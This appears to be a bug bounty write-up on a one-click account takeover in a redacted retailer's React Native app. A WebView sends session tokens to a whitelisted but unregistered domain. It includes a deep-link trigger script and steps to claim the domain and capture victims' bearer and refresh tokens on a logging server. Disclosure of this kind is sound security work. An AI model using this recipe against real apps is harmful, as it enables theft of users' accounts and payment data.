November 3, 2026
One-Click Account Takeover via WebView Auth Header Injection to Claimable Whitelisted Domain
بِسْمِ اَللَّهِ وَالْحَمْدِ لِلَّهِ الَّذِي عَلَّمَ بِالْقَلَمِ عَلَّمَ الْإِنْسَانَ مَا لَمْ يَعْلَمْ وَالصَّلَاةَ وَالسَّلَامَ عَلَى…

By abdelnasser
1 min read
بِسْمِ اَللَّهِ وَالْحَمْدِ لِلَّهِ الَّذِي عَلَّمَ بِالْقَلَمِ عَلَّمَ الْإِنْسَانَ مَا لَمْ يَعْلَمْ وَالصَّلَاةَ وَالسَّلَامَ عَلَى خَيْرِ مُعَلِّمِي اَلنَّاسِ اَلْخَيْرِ مُحَمَّدْ وَبَعْدٍ
Description
I was tracing deep link handling in a major Asian electronics retailer's React Native shopping app when I found the in-app WebView injects Authorization: Bearer, refresh_token, and waiting-room-access-token into every request. The allowed domains come from a remote config whitelist, and one of them (whitelisted-domain.com) was unregistered. I claimed it, triggered the WebView via the app's deep link scheme, and captured all three tokens on a single click. The stolen bearer token gives full read access to the victim's profile, addresses, orders, saved payment methods, and vouchers.
Technical Details
The app's deep link scheme has no android:host restriction in the manifest, so any redacted-scheme:// URL from a browser is delivered to the app. The INAPPURL/ prefix tells the app to open the URL in its in-app WebView.
The handleLink function checks the URL against a remote config whitelist before opening the WebView. whitelisted-domain.com is in that whitelist. Once the check passes, the WebView injects the user's full session into request headers:
obj2.Authorization = "Bearer " + var110.access_token;
obj2.refresh_token = var110.refresh_token;
obj2["waiting-room-access-token"] = var46.queueItToken;obj2.Authorization = "Bearer " + var110.access_token;
obj2.refresh_token = var110.refresh_token;
obj2["waiting-room-access-token"] = var46.queueItToken;- Confirm
whitelisted-domain.comis unregistered. Register it and deploy a capture server with TLS on port 443 that logsAuthorization,refresh_token, andwaiting-room-access-tokenheaders. - Host a trigger page:
<script>
window.location = 'redacted-scheme://INAPPURL/https://whitelisted-domain.com';
</script><script>
window.location = 'redacted-scheme://INAPPURL/https://whitelisted-domain.com';
</script>- Send the trigger URL to a victim with the app installed. The victim clicks, the deep link fires, the whitelist check passes, and the WebView opens with all three tokens injected.
- The WebView loads
https://whitelisted-domain.com. All three tokens land on the capture server.
Takeaways
Never inject session tokens into WebView requests for whitelisted third-party domains, and audit those whitelists regularly. Expired domains get claimed.
Alhamdulillah for everything
#BugBounty #AndroidSecurity #AccountTakeover #ReactNative #DeepLinks